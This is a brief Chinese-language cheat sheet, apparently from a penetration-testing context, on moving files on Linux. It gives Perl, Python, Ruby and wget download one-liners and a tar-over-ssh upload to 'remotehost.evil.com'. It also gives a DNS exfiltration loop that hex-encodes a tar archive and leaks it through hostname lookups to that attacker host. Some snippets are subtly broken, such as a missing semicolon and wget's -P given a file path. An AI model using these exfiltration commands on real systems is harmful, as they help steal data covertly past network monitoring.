linux下文件传输
1、perl脚本文件下载 kali下测试成功,centos5.5下,由于没有LWP::Simple这个,导致下载失败
#!/usr/bin/perl
use LWP::Simple
getstore("http://lemon.com/file.zip", "/root/1.zip");
2、python文件下载
#!/usr/bin/python
import urllib2
u = urllib2.urlopen('http://lemon.com/file.zip')
localFile = open('/root/1.zip', 'w')
localFile.write(u.read())
localFile.close()
3、ruby文件下载 centos5.5没有ruby环境
#!/usr/bin/ruby
require 'net/http'
Net::HTTP.start("www.lemon.com") { |http|
r = http.get("/file.zip")
open("/root/1.zip", "wb") { |file|
file.write(r.body)
}
}
4、wget文件下载
wget http://lemon.com/file.zip -P /root/1.zip
其中-P是保存到指定目录
5、一边tar一边ssh上传
tar zcf - /some/localfolder | ssh remotehost.evil.com "cd /some/path/name;tar zxpf -"
6、利用dns传输数据
tar zcf - localfolder | xxd -p -c 16 | while read line; do host $line.domain.com remotehost.evil.com; done